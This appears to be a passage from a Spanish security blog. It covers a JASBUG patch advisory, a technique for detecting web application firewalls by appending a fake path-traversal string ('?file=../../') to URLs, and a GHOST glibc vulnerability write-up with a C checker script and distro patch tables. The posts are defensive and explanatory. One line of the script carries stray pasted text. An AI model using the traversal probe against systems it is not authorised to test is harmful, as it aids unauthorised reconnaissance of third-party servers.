Para corregirlo Microsoft ha tenido que 1/ añadir una función para implementar el firmando SMB durante el proceso de directiva de grupo, para que su cliente pueda validar el servidor antes de confiar en sus datos de directiva de grupo y 2/ habilitar esta nueva característica en cada cliente.

Aunque ambas vulnerabilidades podrían explotarse a través de Internet, su escenario típico es mediante un ataque MITM en una red interna (LAN) con un Directorio Activo corporativo, por lo que los administradores de Microsoft deberían darse prisa en aplicar los parches publicados por Microsoft ayer...


pd. y no sólo los administradores... los usuarios domésticos también deben aplicar las actualizaciones ya que en este boletín de febrero se solventan otras vulnerabilidades a tener en cuenta: Internet Explorer, Windows Driver, Ms Office...

Fuentes:
JASBUG Fact Sheet
MS15-011 & MS15-014: Hardening Group Policy
The "JASBUG" Windows vulnerability - beyond the hype, what you need to know
15-Year-Old JasBug Vulnerability Affects All Versions of Microsoft Windows

viernes, 6 de febrero de 2015

Simular un falso ataque de LFI para que “salte” el WAF

Antes de realizar un ataque a una servidor, conviene tener información sobre qué medidas de seguridad tiene. Saber si el sistema tiene algún firewall delante protegiendo con redes el tráfico entrante, un reverse proxy para ocultar la ubicación real o una solución antimalware concreta que esté vigilando los ficheros que se suben, puede venir bien antes de preparar una intrusión. En el mundo del pentesting de aplicaciones web, cuando se realiza un escaneo, conviene saber si delante de la web hay algún WAF (Web Application Firewall) que pueda bloquear los intentos de explotación de vulnerabilidades. Localizar si existe, y cuál es, algún WAF es una buena idea, además de que puede ayudar a generar mucha más información del escenario completo con el que te encuentras.

Figura 1: Simular un ataque LFI para que "cante" el WAF

Existen muchas formas de saber si hay un WAF en un sitio web, pero hay una que es bastante sencilla y que funciona relativamente bien. Normalmente, cuando un WAF bloquea una petición, éste genera un menaje de respuesta HTTP 403 Forbidden, con una página de respuesta por  defecto que debería ser configurada para dar poca información a un posible atacante. Con el objeto de conseguir forzar ese error HTTP 403 del WAF, lo suyo es simular un ataque, y una forma muy sencilla de hacerlo es conseguir que el WAF crea que se está produciendo un ataque de LFI (Local File Inclusión) para acceder a ficheros sensibles.

Figura 2: Mensaje de error del WAF de un blog tecnológico

Estas técnicas se utilizan mucho en auditorías de seguridad e intrusiones de atacantes, y suelen tener la característica de querer escalar en el árbol de directorios del servidor web con la cadena ../../, algo que las reglas por defecto de la mayoría de los WAF - incluyendo el popular mod_security que se utiliza parafortificar servidores web GNU/Linux -, detectan por defecto y bloquean. Basta con añadir a una URL algo como ?file=../../ para hacer creer al WAF que se está produciendo el ataque, y ver qué mensaje obtenemos.

Figura 3: Mensaje 403 de un dominio de Apple.com

Como en los muchos casos vistos con los mensajes de error de los servidores web, estos mensajes pueden ser igual de útiles, no solo para saber que hay un WAF, sino para conocer exactamente el tipo de WAF y hacerse una idea del tipo de posibilidades que ofrece.

Figura 4: Mensaje de Error 403 de una empresa que indica la detección del LFI

Además, si la página ha sido personalizada, tal vez se pueda acceder a alguna información útil que haya podido quedarse allí por una mala configuración.

Figura 5: Mensaje de Error 403 en la web de DefCon generado por McAfee Global Threat Intelligence

Si tienes un WAF, comprueba los mensajes de bloqueo que estás mostrando en losHTTP 403. Si puedes evita dar demasiada información a los atacantes. Puedes configurar el WAF para devolver un HTTP 200 genérico con un bonito mensaje de error, y habrá mucha menos información que un atacante pueda llevarse a la boca.


lunes, 2 de febrero de 2015

GHOST (CVE-2015-0235), el fantasma que se cierne sobre Linux


Qualys ha publicado una vulnerabilidad grave de desbordamiento de buffer en la función__nss_hostname_digits_dots()usada por otras funciones tan comunes como gethostbyname() y gethostbyname2() de glibc, que un atacante podría provocar al intentar resolver un nombre de host inválido (/etc/hosts o DNS). 

Concretamente la función __nss_hostname_digits_dots() no calcula correctamente el tamaño del buffer que tiene que reservar y, bajo ciertas circunstancias, se pueden sobrescribir datos arbitrariamente mediante este desbordamiento. Aunque en principio sólo se pueden sobrescribir 4 bytes de memoria, se ha demostrado que son suficientes para evadir mitigaciones como ASLR y PIE y conseguir la ejecución remota de código.
En la práctica, esto se podría explotar solicitando resolver un nombre de host lo suficientemente largo (al menos 1KB) que cumpla los requisitos normales de nomenclatura (a.b.c.d).

  
Esta vulnerabilidad bautizada como GHOST (por su paralelismo con el nombre de la función afectada) y con código CVE-2015-0235, puede hacer que el atacante tome el control de un servidor Linux con el usuario de la aplicación que está ejecutando la resolución de nombre: Apache, Exim, Sendmail, Nginx, MySQL, TAZAS, Samba, ... ¡la lista es enorme!

Las versiones afectadas son:

- glibc 2.2 a 2.17 (incluidas) son vulnerables
- glibc 2.18 a 2.20 (incluidas) NO son vulnerables
- las versiones anteriores de glibc (<= 2.1.3) NO son vulnerables

Mediante el siguiente script en C hecho por la Universidad de Chicago podemos comprobar si somos vulnerables:

GHOSTTEMP=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
GHOSTEXEC=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
cat <<"EOF" > $GHOSTTEMP
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
EOF
gcc -x c $GHOSTTEMP -o $GHOSTEXEC
$GHOSTEXEC
rm -f $GHOSTTEMP $GHOSTEXECPaste your text here.

En caso que seamos vulnerables tendremos:
(...)
# gcc -x c $GHOSTTEMP -o $GHOSTEXEC
# $GHOSTEXEC
vulnerable
# rm -f $GHOSTTEMP $GHOSTEXEC 

Las siguientes distribuciones de Linux tiene versiones vulnerables de glibc:


Ubuntu
10.04 LTS     fix available     fixed in libc6 2.11.1-0ubuntu7.20
12.04 LTS     fix available     fixed in libc6 2.15-0ubuntu10.10
14 and newer     not vulnerable

Debian
6.x - squeeze     vulnerable
6.x - squeeze (LTS)     vulnerable
7.x - wheezy     vulnerable
7.x - wheezy (security)     fix available     fixed in glib 2.13-38+deb7u7
8.0 - jesse     not vulnerable
dev - sid     not vulnerable

Red Hat Enterprise
fix information
Desktop (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Desktop (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
HPC Node (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
HPC Node (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
Server (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Server (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
Server EUS (v. 6.6.z)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Workstation (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Workstation (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5

Mint
13 “Maya”     fix available     Tracks Ubuntu 12.04, should get update from Ubuntu servers
17 “Qiana”     not vulnerable
17.1 “Rebecca”     not vulnerable

Gentoo
libc information
stable     not vulnerable      uses glibc 2.19-r1

Arch
fixed in all releases since August 2013, discussion here and package info here
anything recent     not vulnerable

Fedora
discussion
19 and earlier     vulnerable     uses glibc 2.17 and earlier
20     not vulnerable     uses glibc 2.18
21     not vulnerable     uses glibc 2.20

Mandriva Linux
all     vulnerable     appears to use glibc 2.16

openSUSE
vulnerability information
Enterprise 11 & older     vulnerable
Enterprise 12     not vulnerable
openSUSE 13.1 & newer      not vulnerable

Slackware
current     not vulnerable     uses glibc 2.20
14.1 and earlier     vulnerable     uses glibc 2.17 and earlier

Knoppix
information about glibc versions
7.2 and earlier     vulnerable     uses glibc 2.17 and earlier
7.4 and later     not vulnerable     uses glibc 2.19 and later

Slax
all     vulnerable     appears to use glibc 2.15

Lo llamativo de esta vulnerabilidad, sobre la que se informó públicamente ayer, es que estaba en glibc desde el año 2000 y no fue resuelta hasta 2013; sin embargo, la corrección no se marcó como de seguridad, por lo que distribuciones de largo recorrido como las LTS de Ubuntu, Debian o RHEL, no aplicaron el parche.

Sea como fuere, si tu distribución tiene ya parches disponibles aplicalos cuanto antes:

- Actualiza a glibc 2.18 o más reciente
- Reinicia todos los procesos que cargan la biblioteca glibc
- Corrige los nuevos binarios de software que estén enlazados estáticamente contra versiones vulnerables de la biblioteca glibc. 


Fuentes: 
The GHOST Vulnerability
Critical “GHOST” Vulnerability Released
GHOST, el fantasma que acechaba en glibc
Comprobar si somos vulnerables a Ghost CVE-2015-0235 
Ghost, un agujero de seguridad en Linux más peligroso para Internet que Heartbleed 
Vulnerability Overview: Ghost (CVE-2015-0235)
Severe “Ghost” flaw leaves Linux systems vulnerable to takeover 
Scary 'Ghost' vulnerability leaves Linux systems vulnerable to possession
GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235